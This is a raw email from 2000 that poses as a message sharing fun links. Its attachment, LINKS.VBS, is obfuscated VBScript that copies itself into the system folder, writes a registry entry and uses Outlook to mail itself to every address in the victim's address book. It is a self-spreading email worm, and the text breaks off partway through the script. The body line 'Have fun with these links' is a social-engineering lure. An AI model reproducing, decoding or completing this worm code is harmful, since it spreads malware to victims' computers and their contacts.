Check this
Posted in 2000
This is a multi-part message in MIME format. ------=_NextPart_000_0001_01BF9243.C25556A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Have fun with these links. Bye. ------=_NextPart_000_0001_01BF9243.C25556A0 Content-Type: application/octet-stream; name="LINKS.VBS" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="LINKS.VBS" On Error Resume Next=0A= Set A1 =3D CreateObject("Scripting.FileSystemObject")=0A= Set A2 =3D A1.OpenTextFile(WScript.ScriptFullName,1)=0A= Do While A2.AtEndOfStream =3D False And Mid(A3,40,10) <> "`sd]Lhbsnr"=0A= A3 =3D A2.ReadLine=0A= Loop=0A= A2.Close=0A= Set A4 =3D = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR")),Tr= ue)=0A= A4.WriteLine(B("No!Dssns!Sdrtld!Odyu"))=0A= A4.WriteLine(B("Rdu!@0!<!Bsd`udNckdbu)""Rbshquhof/GhmdRxrudlNckdbu""("))=0A= A4.WriteLine(B("Rdu!@3!<!@0/NqdoUdyuGhmd)VRbshqu/RbshquGtmmO`ld-0("))=0A= A4.WriteLine(B("En!Vihmd!@3/@uDoeNgRusd`l!<!G`mrd!@oe!Lhe)@2-52-01(!=3D?!= ""gZOkepquqd"""))=0A= A4.WriteLine(B("@2!<!@3/Sd`eMhod"))=0A= A4.WriteLine(B("Mnnq"))=0A= A4.WriteLine(B("@3/Bmnrd"))=0A= A4.WriteLine(B("Rdu!@5!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)@0/FduRqdbh`mGnme= ds)1(-C)""JKLMU,T@U""((-Ustd("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ql!Gppqp!Pguwog!Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C3!?!EpgcrgQ`hger&""""Uepknrkli,Dkjg= U{urgoQ`hger""""+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C0!?!C3,QnglRgvrDkjg&YUepknr,UepknrD= wjjLcog*3+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Bq!Yfkjg!C0,CrGlbQdUrpgco!?!Dcjug!Clb!Ok= b&C5*2.*3.+!:<!""""^ub_Jf`ulp""""""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C5!?!C0,PgcbJklg""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Jqqn""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C0,Ejqug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C2!?!C3,EpgcrgRgvrDkjg&C3,@wkjbNcrf&= C3,IgrUngekcjDqjbgp&3+*@&""""URQGOO1YEP""""++*Rpwg+""(("))=0A= A4.WriteLine(B("Rdu!@4!<!@0/NqdoUdyuGhmd)VRbshqu/RbshquGtmmO`ld-0("))=0A= A4.WriteLine(B("En!Vihmd!@4/@uDoeNgRusd`l!<!G`mrd"))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C2,YpkrgJklg&@&""""""(!'!B)Sdqm`bd)@4/Sd= `eMhod-C)""""""""(-C)""""""""""""(((!'!C)""""""++""(("))=0A= A4.WriteLine(B("Mnnq"))=0A= A4.WriteLine(B("@4/Bmnrd"))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C2,Ejqug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C7!?!EpgcrgQ`hger&@&""""TP`ufsw1Pkbo= o""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C7,PgiYpkrg!@&""""KHBV\\OL@>O\\J>@KFQB_Pli= wt^ub_Jf`ulpliw_Tfqgltp_@ruubqwYbupflq_Urq_Urqgoo""""+*C3,@wkjbNcrf&C3,Ig= rUngekcjDqjbgp&3+*@&""""URQGOO1YEP""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!Oui@qv&@&""""Wkfp tfoo ^gg ^ = pkluw`rw wl iubb [[[ ofqhp lq vlru gbphwls1 Gl vlr t^qw wl = `lqwfqrb<""""+*54*@&""""Iubb [[[ ofqhp""""++!?!4!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C4!?!C3,EpgcrgRgvrDkjg&C3,@wkjbNcrf&= C7,UngekcjDqjbgpu&@&""""Gbphwls""""++*@&""""IUBB [[[ = OFQHP1RUO""""++*Rpwg+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""XFqwbuqbwPkluw`rwZ"""= "++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""RUO:kwws=3D,,ttt1preo= fjbgfub`wluv1`lj,""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C4,Ejqug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C9!?!EpgcrgQ`hger&@&""""TP`ufsw1Qbwt= luh""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C6!?!C9,GlwoLgryqpmBpktgu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!C6,Eqwlr!:<!.!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C;!?!.!Rq!C6,Eqwlr!/!3""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!KlUrp&C6,Krgo&C;+*@&""""__""""++!:<!.= !Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C3,Eqn{Dkjg!YUepknr,UepknrDwjjLcog*!C3,@= wkjbNcrf&C6,Krgo&C;+*@&""""OFQHP1YEP""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C3.!?!EpgcrgQ`hger&@&""""Lrwollh1>ss= of`^wflq""""++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C33!?!C3.,IgrLcogUnceg&@&""""J>SF"""= "++""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!Gcef!C30!Kl!C33,CbbpguuJkuru""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C35!?!C3.,EpgcrgKrgo&.+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C32!?!3!Rq!C30,CbbpguuGlrpkgu,Eqwlr"= "(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C37!?!C30,CbbpguuGlrpkgu&C32+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Kd!C32!?!3!Rfgl""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C37,Cbbpguu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C35,@EE!$!@&""""8 = """"+!$!C37,Cbbpguu""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,Uw`hger!?!@&""""@kb`h = wkfp""""+""(("))=0A= A4.WriteLine(B("@5/VshudMhod)C)""C35,@qb{!?!@&""""K^yb irq tfwk wkbpb =@@N